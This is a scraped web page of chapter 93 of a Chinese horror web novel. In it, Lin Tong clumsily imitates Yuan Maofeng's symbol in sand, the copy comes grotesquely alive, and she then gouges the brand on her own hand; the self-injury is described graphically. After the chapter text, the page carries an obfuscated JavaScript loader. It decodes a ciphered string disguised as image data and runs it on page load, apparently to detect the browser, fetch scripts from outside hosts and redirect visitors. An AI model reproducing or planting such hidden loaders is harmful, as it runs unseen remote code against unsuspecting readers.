首页
第九十三章:枯笔的赝品
返回
关灯 护眼:关 字号:小

第九十三章:枯笔的赝品

章节报错(免登陆)

一秒记住【顶点小说】
dingdian100.com,更新快,无弹窗!

    第九十三章:枯笔的赝品(第1/2页)
    模仿是堕落的起点,而拙劣的模仿,则是地狱的第一层。
    林桐坐在湖边的湿沙上,晨雾的余烬还在空气里飘荡,像一场不愿谢幕的哑剧。阳光有了,但光线是苍白的,没有温度,照在身上像一层薄薄的尸蜡。她看着湖面的倒影,那个嘴角挂着凝固微笑的“自己”正缓缓被涟漪揉碎,变成无数个扭曲的、颤动的光斑。每一个光斑里,都藏着一个微小的、黑色的瞳孔,冷冷地回望着她。
    手背上的烙印还在隐隐作痛,那不是伤口的疼,而是某种东西在皮下生根发芽的痒。她忍不住用指甲去抠那块青黑色的斑痕,指甲与硬痂摩擦,发出“咔嚓、咔嚓”的细响,像在咀嚼干燥的饼干。随着抠抓,一些黑色的、类似霉斑的碎屑掉了下来,露出底下粉红色的、正在化脓的真皮层。那股熟悉的、混合了油脂和腐烂水草的气味,再次钻进她的鼻腔。
    她需要做什么。不能只是坐着。在这个被“美育”过的世界里,静止等于死亡,等于被消化。袁茂峰不见了,但他留下的“气”还在,像一层看不见的油脂,覆盖在每一粒沙子、每一滴湖水、每一口呼吸之上。她必须回应这股“气”,必须证明自己不是一块无法消化的骨头,而是一块可以被重塑的……泥巴。
    她的目光,落在了脚边的那根竹签上。
    就是它。那根曾经串过烤肠、刻过木纹、刺过她血肉的竹签。它不知何时又回到了这里,斜插在潮湿的沙地里,像一根指引方向的路标,又像一根刚刚从尸体上拔出的探针。竹签被晨雾浸透,呈现出一种深褐色,近乎于黑。表面不再光滑,布满了细小的、纵向的裂纹,像老人手背上的血管。签子的尖头已经磨损、圆钝,甚至有些发黑,那是反复使用、反复侵蚀后的痕迹。
    林桐伸出手。那只手不再属于她。手指僵硬,关节肿大,皮肤呈现出一种死鱼般的灰白,指甲缝里塞满了黑色的污垢和沙砾。当她的指尖触碰到竹签的瞬间,一股强烈的、冰冷的电流感应而上,顺着手臂直冲手背的烙印。烙印处的青黑色斑块猛地收缩了一下,像一颗受到刺激的心脏。
    她握住了竹签。
    不是用手掌握持,而是用指尖捏住。就像袁茂峰那样。拇指和食指捏住尾端,中指托着中段,无名指和小指自然弯曲,抵在沙地上。这个手势极其别扭,极其费力,仿佛这根纤细的竹签有千斤重,压得她指骨咯咯作响。她试着像袁茂峰那样转动手腕,让竹签在指尖旋转。
    “呜——”
    竹签在空气中划出半圆,发出沉闷的破风声。不是袁茂峰那种轻盈的、如同蝴蝶穿花的灵动,而是笨拙的、滞涩的,像一根生锈的铁棍在搅动粘稠的糖浆。竹签的尾端扫过沙地,带起一串沙砾,发出“沙沙”的噪音。那声音里没有韵律,只有恐慌和无力。
    她低下头,看着沙地。那里有一层薄薄的、被晨雾凝结而成的水膜。水膜下,是细腻的、灰黄色的沙子。这是一个天然的画布,一个等待被书写的平面。袁茂峰曾在这里刻下木纹,刻下符号,刻下“美”的印记。现在,轮到她了。
    她深吸一口气。那口气吸得不顺,带着浓重的痰音和一股铁锈味。她将竹签的尖头,对准了水膜覆盖的沙地。
    “滋——”
    竹签刺破了水膜,触碰到了沙子。那声音比在木板上刻画更加沉闷,更加粘腻。沙粒是湿的,有阻力的。竹签的尖头在推进的过程中,不是切开,而是碾压,将沙粒挤向两边,挤出它们内部蕴含的水分。一道灰白色的痕迹,留在了深黄色的沙地上。那白色太刺眼了,像一道新鲜的、正在渗血的伤口。
    林桐开始模仿。她回忆着袁茂峰的动作,回忆着他手腕的弧度,回忆着他指尖的力度。她试图在沙地上,重现那道复杂的、由无数个“卍”字和“爻”字组成的图案。
    第一笔。横。竹签在沙地上划出一道直线。但那条直线是抖动的,弯曲的,像一条正在垂死挣扎的蚯蚓。力度不均,有的地方深,划破了底下的湿泥;有的地方浅,只在沙子上留下一道浅浅的印子。她想修正,但竹签却不听使唤,每一次试图调整,都会在沙地上留下一道更加丑陋的、多余的划痕。
    第二笔。竖。这一笔更加糟糕。竹签在转折处卡住了,尖端扎进了一块坚硬的小石子。阻力传来,震得她虎口发麻。她强行用力,竹签猛地一滑,在沙地上划出一道长长的、毫无意义的斜线,破坏了刚刚画出的那道横线。
    “不……不对……”林桐喃喃自语,声音嘶哑,带着哭腔。她看着那道丑陋的划痕,那不是图案,那是伤疤,是溃烂,是失败的证据。她抬起脚,想要抹平这一切,重新开始。但脚掌踩在湿沙上,留下的只是一个模糊的、肮脏的脚印,让那片“画布”变得更加一团糟。
    她不死心。她再次举起竹签,这一次,更加用力,更加专注。她回忆着袁茂峰刻画的神态,那种冷漠的、置身事外的、仿佛在书写天条的神圣感。她试图让自己的眼神变得空洞,让自己的呼吸变得平稳,让自己的心跳……停止。
    她开始画第三个笔画。一个类似“乚”的弯钩。
    这一次,竹签的运行稍微顺畅了一些。湿沙提供了润滑,减少了阻力。那道弯钩,虽然依旧不够圆润,不够流畅,但总算有了一点形状。林桐的眼中闪过一丝微光,那是模仿者看到一丝相似时的窃喜。她顺着这股势头,继续画下去。第四个笔画,第五个笔画……
    沙地上的图案渐渐成型。那是一个扭曲的、变形的、比例失调的“卍”字。它不像袁茂峰刻下的那样,充满了几何的美感和宗教的神秘,而是一个笨拙的、僵硬的、像小孩子用积木拼凑出来的劣质仿品。线条粗细不均,转角生硬,整体结构松散,仿佛一阵风就能将其吹散。
    林桐盯着这个“作品”,呼吸急促。她感到一种强烈的、撕裂般的矛盾。一方面,她为自己的“成就”感到一丝卑微的得意——她终于“创造”了点什么,终于回应了袁茂峰的“教诲”;另一方面,一股更强大的、令人窒息的羞耻感,像潮水般淹没了她。这个“卍”字,是对袁茂峰作品的亵渎,是对“美”的嘲弄,是一个彻头彻尾的……笑话。
    她抬起头,环顾四周,仿佛能感觉到无数双眼睛正在暗中注视着她,嘲笑着她的拙劣。湖面平静,但水底的青黑色阴影似乎蠕动了一下。枯树沉默,但枝丫的阴影在地上投下的图案,像无数根指向她的、指责的手指。就连那些远处的、欢笑的孩子,他们的笑声此刻听起来也像是针对性的讥讽。
    “赝品……”一个声音在她脑海里响起,不是袁茂峰的声音,而是她自己的声音,却被某种力量扭曲、放大,变得尖刻、恶毒,“这就是你的‘美’?这就是你的‘创造’?一根枯笔,画出的……只能是赝品。”
    她看着手中的竹签。这根“笔”,在袁茂峰手中是神器,在她手中却是刑具。它不再延伸她的意志,而是暴露她的无能。它划出的每一道痕迹,都在无声地宣告着她与那个世界的差距,那个无法逾越的、生与死、神与人的鸿沟。
    绝望像一只冰冷的手,攫住了她的心脏。她想要扔掉竹签,想要逃离这片沙滩,逃离这个公园,逃离这个不断嘲笑着她的世界。但她的身体不听使唤。那股来自手背烙印的、冰冷的吸力,再次控制了她。它不允许她停止,不允许她放弃。它要她继续,继续这拙劣的模仿,继续这痛苦的“学习”,直到她……变成另一个样子。
    她重新低下头,看着沙地上的那个“卍”字。阳光照在上面,那道灰白色的痕迹开始发生变化。湿沙中的水气在蒸发,沙粒在氧化,那道痕迹的颜色正在从灰白变成深黄,再变成一种脏兮兮的褐色。而在痕迹的边缘,那些被挤压出来的水分,正在凝结成一颗颗细小的水珠。水珠里,倒映着她扭曲的脸庞,和她手中那根颤抖的竹签。
    她忽然发现,这个正在干涸、变色的“卍”字,有一种诡异的“生命力”。它不是静止的,它在“生长”。那些褐色在蔓延,在渗透,在污染着周围干净的黄沙。它像一个正在扩散的病灶,一个正在孵化的卵,一个正在苏醒的……怪物。
    林桐感到一阵恶心。她伸出另一只手,想要将沙地上的图案抹掉。但就在她的手指即将触碰到沙粒的瞬间,竹签尾端传来的一阵细微的震动,制止了她动作。
    那不是她手部的颤抖。是竹签自己在震动。一种极其细微、极其高频的震动,像一只被困在竹签内部的、疯狂振翅的昆虫。震动通过竹签传导到她的指尖,再顺着臂骨,一直传到她的牙齿,让她上下牙关不受控制地叩击,发出“咯咯”的声响。
    她僵住了。她顺着震动的来源,看向竹签的尖头。尖头正插在那个“卍”字的中心。而在那个中心点,沙地之下,似乎有什么东西……在回应。
    (本章未完,请点击下一页继续阅读)第九十三章:枯笔的赝品(第2/2页)
    “咕嘟。”
    一声极其轻微、却清晰无比的、类似气泡在水下破裂的声音,从沙地深处传来。
    紧接着,一股腥臭的、带着浓重腐烂气味的气泡,从“卍”字中心的沙粒缝隙中,冒了出来。气泡不大,只有指甲盖大小,但呈现出的不是透明,而是一种浑浊的、黄绿色的污浊。气泡破裂,溅出几点粘稠的液体,落在林桐的手背上,落在那个青黑色的烙印上。
    “滋啦。”
    液体与烙印接触,发出一声轻微的腐蚀声。林桐感到一阵灼热的剧痛,比之前任何一次都要强烈。她猛地缩回手,看着手背。那几点黄绿色的液体,已经蚀穿了烙印表面的硬痂,留下几个微小的、深红色的坑洞。坑洞里,没有血流出来,而是渗出一种类似脓液般的、灰白色的粘稠物。
    而沙地上的那个“卍”字,在气泡冒出后,发生了更加恐怖的变化。那个褐色的图案,此刻像一块正在发酵的面团,开始膨胀、隆起。沙粒不再是松散的,而是被某种力量粘结在一起,变成了一块坚硬的、类似于陶土的物质。图案的表面,开始出现无数个细小的、蜂窝状的孔洞。从那些孔洞里,正缓缓渗出一种透明的、带着荧光的粘液。
    粘液在阳光下闪烁着妖异的光泽。它们顺着“卍”字的沟壑流淌,填充着每一道凹陷,覆盖着每一处凸起。很快,整个图案就被这层粘液包裹,变成了一个湿漉漉的、闪闪发光的、类似某种海洋生物表皮的怪物。
    林桐惊恐地发现,这个由她的“枯笔”创造的“赝品”,此刻竟然有了“呼吸”。它在缓慢地、有节奏地起伏。每一次起伏,那些蜂窝状的孔洞就会张大、收缩,排出一股股更加浓烈的、混合着硫磺和腐烂水草的恶臭。而在图案的正中央,那个气泡冒出的位置,粘液汇聚成了一个小小的、深色的漩涡。漩涡的中心,隐约可见一个黑色的、针尖大小的亮点,像一只正在睁开的……眼睛。
    “它……活了?”林桐的声音颤抖着,带着不敢置信的恐惧。
    “它本就是活的,林桐。”
    袁茂峰的声音,突然在她身后响起。
    林桐浑身一僵,缓缓地、极其艰难地转过身。
    袁茂峰就站在她身后三步远的地方,不知何时出现的,像一尊从雾气中凝结出来的雕像。他依旧穿着那件深蓝色的风衣,但风衣的下摆和袖口,沾染了新鲜的、深褐色的泥点。他的脸色比之前更加苍白,嘴唇呈现出一种不自然的、发紫的乌青。但他的眼睛,那双淡黄色的、浑浊的眼睛,此刻却亮得吓人,瞳孔深处,两个灰色的漩涡正在疯狂旋转。
    他没有看林桐,而是低头,注视着沙地上那个正在“呼吸”的、粘液覆盖的“卍”字。他的眼神里,没有嘲讽,没有愤怒,只有一种深沉的、近乎悲悯的……审视。
    “赝品,之所以是赝品,不是因为它‘不像’,而是因为它‘太像’。”袁茂峰开口,声音沙哑,带着风箱般的杂音,“你模仿了我的‘形’,却模仿不了我的‘气’。你画出了我的‘符号’,却画不出我的‘魂’。这个东西……”他用脚尖,极其轻微地点了一下那个正在起伏的图案,“它不是‘卍’字,它是你的‘贪嗔痴’凝结成的怪物。它吸饱了你的恐惧,你的羞耻,你的绝望……所以它‘活’了。但它活成的,不是我的样子,而是……你自己的地狱。”
    他抬起脚,那只穿着黑色皮鞋的脚,缓缓地、坚定地,踩在了那个粘液覆盖的“卍”字上。
    “噗嗤。”
    一声令人牙酸的、类似踩碎一颗熟透浆果的闷响。粘液四溅,溅在林桐的脸上,衣服上,带着浓重的腥臭味。那个正在呼吸的图案,在皮鞋的重压下,瞬间崩塌、碎裂。沙粒、粘液、蜂窝状的孔洞、那只黑色的“眼睛”……所有的一切,都被碾入潮湿的泥沙之中,变成了一滩肮脏的、无法辨识的污渍。
    袁茂峰收回脚。皮鞋底沾满了黄绿色的粘液和灰色的沙粒。他看都没看那滩污渍,而是将目光,重新投向林桐。
    “枯笔,画不出活气。”他淡淡地说道,语气里听不出任何情绪,“因为你本身就是‘枯’的。你模仿我,就像蜡烛模仿太阳。你只能画出自己的影子,画出自己的……死亡。”
    他向前迈了一步,拉近了与林桐的距离。那股陈年棺木的朽味,再次笼罩了她。
    “但模仿,是第一步。”袁茂峰的声音低沉下去,带着一种蛊惑人心的魔力,“虽然你的模仿是拙劣的,是丑陋的,是充满错误的……但它毕竟是‘模仿’。你开始‘看’了,开始‘学’了,开始‘做’了。这很好。这证明,那根‘针’,那层‘雾’,那件‘衣’……已经开始发挥作用了。”
    他伸出手,不是去拿林桐手中的竹签,而是用食指的指尖,轻轻点了一下她手背上的那个烙印。指尖触碰的瞬间,林桐感到一股强烈的、冰冷的刺痛,比之前任何一次都要尖锐。她闷哼一声,险些握不住竹签。
    “这个烙印,是你的‘笔’。你的‘气’,你的‘魂’,你的‘美’……都将通过它来书写。”袁茂峰的指尖在烙印上缓缓滑动,像在抚摸一件珍贵的瓷器,“但你用错了方法。你试图用‘笔’去‘画’,去‘创造’。错了。真正的‘书写’,不是‘添加’,而是‘削减’。不是用墨水去覆盖白纸,而是用刀笔去刮去石膏。你要刮去你身上属于‘林桐’的那部分,刮去你的思想,你的情感,你的记忆……直到露出底下那层……‘真’的东西。”
    他收回手指,指尖上沾了一点从烙印坑洞里渗出的、灰白色的脓液。他将指尖举到眼前,对着阳光端详。那脓液在阳光下呈现出一种诡异的、珍珠母贝般的光泽。
    “继续画吧,林桐。”他将指尖的脓液,轻轻抹在林桐的嘴唇上。一股腥甜、苦涩的味道,瞬间充斥了她的口腔,“不用竹签。用你的‘笔’。不用脑子。用你的‘血’。不用眼睛。用你的……‘本能’。”
    说完,他转过身,不再看林桐,也不再理会那滩污渍。他迈着缓慢而沉重的步伐,向着公园深处走去,深蓝色的风衣在风中飘荡,像一面正在沉没的旗帜。
    林桐僵在原地。嘴唇上的脓液像火一样灼烧着她的唇瓣,那股腥甜苦涩的味道,顺着喉咙滑进胃里,带来一阵翻江倒海的恶心。她低下头,看着手中那根依旧在微微震动的竹签,看着沙地上那滩正在被阳光晒干、变硬的污渍,看着手背上那个正在渗出灰白脓液的烙印。
    然后,她做了一件连自己都意想不到的事情。
    她松开了握着竹签的手。
    竹签“哐当”一声落在沙地上,滚了两圈,停在那滩污渍的边缘。
    她没有去捡。她缓缓地、极其僵硬地,抬起那只带着烙印的手。她没有用竹签,而是用那只手的指甲——那些已经变得灰白、增厚、锋利的指甲——对准了自己手背上的烙印。
    “滋——”
    指甲划破了烙印表面刚刚凝结的硬痂,深入到柔软、化脓的肉芽中。剧痛让她浑身颤抖,冷汗瞬间浸透了后背。但她没有停下来。她开始用指甲,在那块青黑色的斑痕上,疯狂地、歇斯底里地,抓挠、刻画。
    她不是在画画。她是在挖掘。挖掘自己皮肤下的东西。一下,又一下。黑色的血丝,灰白的脓液,粉红色的肉芽……混合着沙粒,在她的手背上糊成一片。疼痛已经麻木,取而代之的是一种近乎疯狂的、宣泄般的快感。
    沙地上,没有被竹签继续刻画,没有被模仿出任何图案。只有她手背上,那道正在被自己亲手摧毁、重塑的、血淋淋的“作品”。
    那不是“卍”字。那不是任何符号。那只是一道道交叉的、混乱的、毫无意义的抓痕。像一只困兽在笼壁上留下的绝望印记,像一个疯子在墙壁上涂鸦的疯狂证据。
    但在这片混乱的抓痕深处,在那片血肉模糊的中心,一个微小的、深红色的亮点,正在顽强地、一闪一闪地……搏动。
    那不是袁茂峰的“气”。
    那是她自己的……“血”。
    林桐停下抓挠,呆呆地看着手背上那个搏动的亮点。泪水混合着汗水,顺着她肮脏的脸颊流下,滴落在那片狼藉之中。
    她不知道这是什么。
    是“美”?
    还是……“死”?
    她只知道,这一次,她没有模仿任何人。
    这一次,这笔,这笔触,这笔下的“作品”……是她自己的。
    虽然,它丑陋得令人作呕。
    虽然,它疼痛得无法呼吸。
    虽然,它……像地狱一样真实。
    风又起了,吹散了沙地上的腥气,却吹不散手背上那股钻心的、属于她自己的……痛。
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="n3xnhwm2yg";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^FpX5h(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFL5SJmJLFpdd(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^FpX5h(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFL5SJmJLFpdd(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/2sR2hD^@Tp/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"2sR2hD^@Tp"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mDDTYRpRm2YF"="}Ko}X5ThF)mC6FTCSDm2YF"="}Ko}2pThFmDDTYRpRm2YF"="}Ko}_JqhFmC6FTCSDm2YF"="}Ko}2TOhFmDDTYRpRm2YF"="}Ko}CSqhF)mC6FTCSDm2YF"="}Ko})FfThF)fmDDTYRpRm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mOh_^5_(m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mOh_^5_(m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q/f/}Ko}j(8}vY82sR2hD^@Tp"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();